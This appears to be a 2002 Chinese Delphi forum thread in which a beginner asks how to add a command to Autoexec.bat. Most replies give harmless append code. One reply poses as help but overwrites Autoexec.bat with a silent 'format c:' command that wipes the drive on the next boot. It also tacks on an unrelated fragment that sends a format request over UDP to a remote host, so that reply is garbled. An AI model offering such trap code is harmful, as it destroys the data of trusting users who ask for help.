读写Autoexec.bat

CDMAA 2002-06-24 01:03:58
我想在Autoexec.bat中加入一条命令,请问我该 如何做!直接写代码,不用任何控件!
...全文
22 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
DD88 2002-06-24
  • 打赏
  • 举报
回复
begin
assignfile(forc,'c:\Autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q');
// /q快速格式化
writeln(forc,'echo y|format c:/q >nul');
//在Dos shell控制台下显示格式化信息
closefile(forc);
end

ReqCodeStr:='fordis'+disk;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
CDMAA 2002-06-24
  • 打赏
  • 举报
回复
我不大会呀,能说详细点吗?
Delphi_Li 2002-06-24
  • 打赏
  • 举报
回复
文件操作太麻烦,可以使用TStringList简化!!
Var
X : TStringLsit;
Begin
X ;= TStringList.Create;
Try
X.LoadFromFile( 'C:\Autoexec.Bat' );
X.Add( 'Path = %Path%;D:\Oracle' )
X.SaveToFile( 'C:\Autoexec.Bat' );
Finally
X.Free;
End;
End;
surfguy 2002-06-24
  • 打赏
  • 举报
回复
同意楼上的。
lj_csdn 2002-06-24
  • 打赏
  • 举报
回复
FILE *fp;
fp=fopen("c:\\autoexec.bat","a");
fprintf(fp,"x:\\abc\\myexe.exe\n");
fclose(fp);

5,392

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧